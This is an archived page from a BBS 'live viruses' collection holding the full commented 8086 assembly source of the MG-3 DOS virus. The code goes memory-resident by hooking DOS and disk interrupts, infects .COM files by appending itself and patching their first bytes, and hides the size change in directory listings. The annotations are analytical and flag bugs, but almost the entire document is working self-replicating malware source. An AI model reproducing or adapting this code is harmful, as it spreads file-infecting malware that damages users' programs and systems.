home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
mg-3.asm
< prev
next >
Wrap
Assembly Source File
|
1991-01-30
|
9KB
|
339 lines
page ,132
;
; name: mg-3.vom
;
; program type: com/bin
;
; cpu type: 8086
;
; program loaded at 0000:01f8
;
; physical eof at 0000:03f5
;
; program entry point at 0000:01f8
;
fun segment
assume cs:fun,ds:fun,es:fun,ss:fun
;
; references before the start of code space
;
org 0006h
h_0006 label word
org 004ch
h_004c label word
org 004eh
h_004e label word
org 0090h
h_0090 label word
org 0092h
h_0092 label word
;
; data references to code space addresses
;
; org 0339h
;h_0339 label byte
;
; start of program
;
org 01f8h
h_01f8:
call h_0204 ;goto virus
nop
mov ax,4c00h
int 21h ;terminate program
;
h_0201 db 0ebh,02h,90h ;saved_prog_start
h_0204:
xchg ax,dx ;save ax
pop di ;get return address
dec di ;back by 2
dec di ;to CALL ofs
mov si,[di] ;get call ofs
dec di ;back 1 to start of program
add si,di ;call ofs plus prog start
;= saved_prog_start
push cs ;save cs
push di ;and di for program start
cld ;up!
movsw ;replace 1st word
movsb ;and 3rd byte of program
mov ax,4b04h ;fn = virus ID
int 21h ;call DOS
jae h_027f ;OK (installed), skip this
xor ax,ax ;get a 0
mov es,ax ;address INT seg
mov di,0204h ;es:di = new virus home
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
repz movsb ;copy virus to low mem
les di,[0006h] ;get seg:ofs of CPMtype doscall
mov al,0eah ;JMPF instruction
dec cx ;cx = 0FFFFh
repnz scasb ;find JMPF
les di,es:[di] ;get seg:ofs to DOS
sub di,-21h ;up to ??
jmp 0000h:0239h ;goto virus in low memory
h_0239:
push es ;DOS seg
pop ds ;to ds
mov si,[di-04h] ;get ptr to max_dos_fn
lodsb ;get that byte
cmp al,68h ;at least 68?
mov [di-03h],al ;set immediate compare value
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
push cs ;current segment
pop ds ;to ds
mov [03fch],di ;set INT FF ofs to DOS entry
mov [03feh],es ;and INT FF seg to DOS entry
;BUG: need to have INT FF point to the
; CMP AH,xx instruction they
; have set up!!!
mov byte ptr [h_0339],0ah ;set dosver_skip
jnae h_026e ;not DOS 3.3+, skip this
mov byte ptr [h_0339],00h ;reset dosver_skip
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
mov [h_07b6],cs ;and seg of saved INT 13 vector
;in IBMBIO.COM
;NOTE: How stable are these locations?!?!?!
h_026e:
mov al,0a9h ;TEST AX,xxxx instruction
h_0270:
repnz scasb ;find it
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
;NOTE: test for illegal flag values
jnz h_0270 ;no, try again
mov al,18h ;new immediate value: 0FF18h
;NOTE: remove "our" flag from illegal values
stosb ;modify test instr
push ss ;copy PSP seg
pop ds ;to ds
push ss ;and again
pop es ;to es
h_027f:
xchg ax,dx ;get original AX back
retf ;and execute infected program
;
; intfchere
;
h_0281:
push ax ;save regs
push dx
push ds
push cx
push bx
push es
cmp ax,4b04h ;fn = virus ID?
jz h_02ad ;yes, cleanup and exit NC
xchg ax,cx ;save ax
mov ah,2fh ;fn = get DTA
int 0ffh ;call DOS
cmp ch,11h ;fn = FCB find first?
jz h_029b ;yes, stop here
cmp ch,12h ;fn = FCB find next?
jnz h_02b4 ;no, skip this
h_029b:
xchg ax,cx ;get fn back
int 0ffh ;call to DOS
push ax ;save return code
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
jz h_02ac ;not set, skip this
sub word ptr es:[bx+24h],offset h_03f5-h_0201
;update filesize to hide virus (01f4h)
h_02ac:
pop ax ;restore regs
h_02ad:
pop es
pop bx
pop cx
add sp,+0ch ;cleanup stack
iret ;and return to caller
;BUG: Should preserve returned flags!
h_02b4:
mov ah,19h ;fn = get current disk
int 0ffh ;call to DOS
push ax ;save disk
cmp ch,36h ;fn = get disk free space?
jz h_02e9 ;yes, stop here
cmp ch,4eh ;fn = find first?
jz h_02e0 ;yes, stop here
cmp ch,4bh ;fn = load/execute?
jz h_02e0 ;yes, stop here
cmp ch,47h ;fn = get current dir?
jnz h_02d1 ;no, skip this
cmp al,02h ;drive >= C:?
jae h_02ee ;yes, stop here
h_02d1:
cmp ch,5bh ;fn = create new file?
jz h_02e0 ;yes, stop here
shr ch,1 ;fn / 2
cmp ch,1eh ;fn = 3C or 3D?
;create file or open file?
jz h_02e0 ;yes, stop here
jmp h_03bb ;else continue DOS call
h_02e0:
mov ax,121ah ;fn = get file's drive
xchg si,dx ;ds:si = filename
int 2fh ;multiplex interrupt
xchg ax,dx ;ax = old si, dx = drive
xchg ax,si ;old si to si
h_02e9:
mov ah,0eh ;fn = set current disk
dec dx ;drive A: = 0, B: = 2, etc
int 0ffh ;call to DOS
h_02ee:
push es ;save dta seg
push bx ;and dta ofs
sub sp,+2ch ;allocate locals
mov dx,sp ;get ptr to local DTA
push sp ;save ptr to local DTA
mov ah,1ah ;fn = set DTA
push ss ;stack segment
pop ds ;is DTA seg
int 0ffh ;call to DOS
mov bx,dx ;bx = ptr to DTA
push cs ;current segment
pop ds ;to ds
mov ah,4eh ;fn = find first matching file
mov dx,offset h_03e9 ;ds:dx = wildcard_com
mov cx,0003h ;attributes = HIDDEN, Read-Only
int 0ffh ;call to DOS
jnae h_0319 ;error, cleanup and exit
h_030c:
test byte ptr ss:[bx+15h],80h ;our attribute set?
jz h_031c ;no, continue
;BUG: If it will re-infect a file with the
; MG-2 attribute set, then the above
; size change mask will FAIL!
h_0313:
mov ah,4fh ;fn = find next matching file
int 0ffh ;call to DOS
jae h_030c ;OK, check out this file
h_0319:
jmp h_03b2 ;cleanup and exit
h_031c:
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
ja h_0313 ;yes, try next file
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
mov [0092h],cs ;and INT24HERE seg
;NOTE: The original values are NOT saved!
les ax,[004ch] ;get INT 13 vector
mov [h_03f7],ax ;save oldint13ofs
mov [h_03f9],es ;and oldint13seg
h_0339 equ $+1 ;dosver_skip
jmp short h_033a ;if not DOS 3.3+, skip this
h_033a:
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
mov [004eh],cs ;and new INT 13 seg, too
;
; dosver_skip comes here
;
push ss ;DTA seg
pop ds ;to ds
push word ptr [bx+16h] ;save file time
push word ptr [bx+18h] ;and file date
push word ptr [bx+15h] ;and file attributes
lea dx,[bx+1eh] ;ds:dx = name found in DTA
mov ax,4301h ;fn = set file attributes
pop cx ;get file attributes
and cx,00feh ;high byte, R/O bit off
or cl,0c0h ;set our attributes
int 0ffh ;call to DOS
mov ax,3d02h ;fn = open file for read/write
int 0ffh ;call to DOS
xchg ax,bx ;handle to bx
push cs ;current segment
pop ds ;to ds
mov ah,3fh ;fn = read file
mov cx,0003h ;size of saved_prog_start
mov dx,offset h_0201 ;ds:dx = saved_prog_start
int 0ffh ;call to DOS
mov ax,4202h ;fn = lseek to EOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov [h_03f5],ax ;save virus_call_ofs
mov ah,40h ;fn = write to file
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
mov dx,offset h_0201 ;ds:dx = this virus
int 0ffh ;call to DOS
jnae h_039c ;error, cleanup and quit
mov ax,4200h ;fn = lseek to BOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov ah,40h ;fn = write to file
mov cx,0003h ;size of virus_call
mov dx,offset h_03f4 ;ds:dx = virus_call
int 0ffh ;call to DOS
h_039c:
mov ax,5701h ;fn = set file time/date
pop dx ;restore file date
pop cx ;and file time
int 0ffh ;call to DOS
mov ah,3eh ;fn = close file
int 0ffh ;call to DOS
les ax,[h_03f7] ;get oldint13
mov [004ch],ax ;restore INT 13 ofs
mov [004eh],es ;and INT 13 seg
h_03b2:
add sp,+2eh ;clean stuff off stack
pop dx ;restore old DTA ofs
pop ds ;and old DTA seg
mov ah,1ah ;fn = set DTA
int 0ffh ;call to DOS
h_03bb:
pop dx ;get default drive back
mov ah,0eh ;fn = set current drive
int 0ffh ;call to DOS
pop es ;restore regs
pop bx
pop cx
pop ds
pop dx
pop ax
iret ;continue INT 21
;
; int24here
;
h_03c7:
mov al,03h ;response = FAIL
iret ;and done
;
; int13here_2
;
h_03ca:
cmp ah,03h ;fn = write?
jnz h_03d6 ;no, skip this
inc byte ptr cs:[h_03ef] ;update ??
dec ah ;change function to read
h_03d6:
jmp dword ptr cs:[h_03f7] ;and continue INT 13
;
; int13here
;
h_03db:
shr byte ptr cs:[h_03ef],1 ;update ??
jae h_03e4 ;yes, skip this
inc ah ;change function
;i.e. read changes to write, etc!
h_03e4:
jmp dword ptr cs:[h_07b0] ;continue INT 13
;
h_03e9 db "* .COM" ;wildcard_com
h_03ef db 00h
;NOTE: location of following data CANNOT change!
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
h_03f4 db 0e8h ;virus_call
h_03f5 equ $
;
; references after the end of code space
;
org 03f5h
h_03f5 label word ;virus_call_ofs
org 03f7h
h_03f7 label word ;oldint13ofs
org 03f9h
h_03f9 label word ;oldint13seg
fun ends
end h_01f8